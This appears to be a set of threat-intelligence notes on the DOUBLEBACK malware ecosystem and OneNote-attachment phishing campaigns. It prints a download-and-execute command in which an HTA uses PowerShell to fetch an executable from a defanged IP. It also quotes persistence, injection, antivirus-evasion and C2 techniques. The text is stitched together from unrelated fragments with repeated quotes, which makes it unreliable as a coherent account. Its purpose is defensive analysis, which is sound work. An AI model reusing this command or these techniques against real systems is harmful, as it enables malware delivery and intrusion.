DOUBLEBACK

“The Triple DOUBLE malware ecosystem consists of a downloader… a dropper… and a backdoor… well coded and extensible backdoor… plugins”

The use of Microsoft OneNote documents to deliver malware via email is increasing. Multiple cybercriminal threat actors are using OneNote documents to deliver malware.

Proofpoint has observed threat actors deliver malware via OneNote documents, which are .one extensions, via email attachments.

In mid-January 2023, Proofpoint researchers observed actors using URLs to deliver OneNote attachments that use the same TTPs for malware execution.

DOUBLEBACK was previously used by TA579. This was the first observed OneNote campaign to use thread hijacking.

The file might be different kinds of executables, shortcut (LNK) files, or script files such as HTML application (HTA) or Windows script file (WSF).

Messages contained a OneNote attachment containing an HTA file that calls a PowerShell script to download an executable

oShell.Run "cmd /c powershell Invoke-WebRequest -Uri hxxp[:]3.101.39[.]145/Excel.exe -OutFile $env:tmp\system32.exe

If the victim did this, OneNote would attempt to execute a VBS file (example JnNNj3.vbs) embedded behind the button.

In order to detonate the payload, an end-user must interact with the OneNote document.

When the user double clicks the embedded file, they will be prompted with a warning. If the user clicks continue, the file will execute.

“The rest of the components are serialized in the registry database… creates the registry keys and values… saves the encrypted payload… in the registry database”

“the malware hijacks… Microsoft PlaySoundService… or MsCtfMonitor… by creating an associated TreatAs registry key”

“injecting the backdoor into its own process (PowerShell.exe)… will then inject itself into a msiexec.exe process… spawns a suspended process around msiexec.exe and inject its image into it”

“the malware hijacks… Microsoft PlaySoundService… or MsCtfMonitor… by creating an associated TreatAs registry key”

“heavily obfuscated JavaScript… obfuscated in-memory dropper written in PowerShell… encoded/RC4-encrypted payload… rolling XOR”

The URLs led to the download of a zipped OneNote file. If the OneNote was opened, the template advised the victim to "Double click Open". Below the graphic there was an attached file named attachment.hta (but the extension was hidden).

“injecting the backdoor into its own process (PowerShell.exe)… will then inject itself into a msiexec.exe process… spawns a suspended process around msiexec.exe and inject its image into it”

“spawns a thread to secure delete the DOUBLEDROP dropper from disk… overwrite… before deleting the dropper from the file system”

The OneNote documents contain embedded files, often hidden behind a graphic that looks like a button.

“The rest of the components are serialized in the registry database… creates the registry keys and values… saves the encrypted payload… in the registry database”

“the backdoor enumerates the running processes looking for Kaspersky… or BitDefender”

“based on the system volume's serial number… used as a mutex name”

“enumerates… looking for Kaspersky Antivirus… or BitDefender”

“DOUBLEDRAG reaches out to its C2 server… fetching commands from its C2 server… URLs follow the pattern https://<server>/admin<n>/client.php”

These campaigns used the same TTPs as described above, delivering a OneNote attachment that used PowerShell to download the AsyncRAT payload from a URL.